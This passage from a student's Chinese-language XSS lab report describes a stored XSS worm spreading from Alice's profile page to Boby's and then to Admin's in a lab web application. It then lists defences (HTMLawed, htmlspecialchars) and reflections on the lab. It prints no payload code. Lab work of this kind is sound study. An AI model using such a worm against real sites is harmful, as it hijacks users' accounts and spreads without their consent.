模式,可视模式会将代码中的符号进行自动转义,从而导致攻击失败。 -
接下来我们让
Boby
去访问alice
的主页,可以看到如下的信息。
图32 蠕虫病毒的传染 -
从上图中我可以看到,xss攻击不仅仅修改了个人主页的相关信息,而且蠕虫病毒已经侵染了
Boby
的主页。 -
接下来我们使用
Admin
访问Boby
的主页,让Admin
作为二级感染者。然后我们在Admin
中同样看到了相同的xss攻击请求。
图33 蠕虫二级感染 -
至此蠕虫病毒完成。
-
-
Task 7: Countermeasures
- 首先可以使用内建的安全插件
HTMLawed
禁止部分代码块的执行。 - 可以使用PHP的内建函数
htmlspecialchars
用以转义上文中的HTML代码中的一些符号。
- 首先可以使用内建的安全插件
3.学习中遇到的问题及解决
- 问题1:这次实验本身不算太难,主要就是实验指导书太长了18页
- 问题1解决方案:花时间慢慢肝,又要被导师骂了。
- 问题2:插入cnblog之后格式老是乱掉。
- 问题2解决方案:markdown转成pdf,将pdf发放到github,用控件插入博客
4.实践总结
总体来说,实践并不难,主要还是在于数据库、HTML、javascript和服务器交互的相关知识。本科选课躲着的东西现在还是要自己补回来。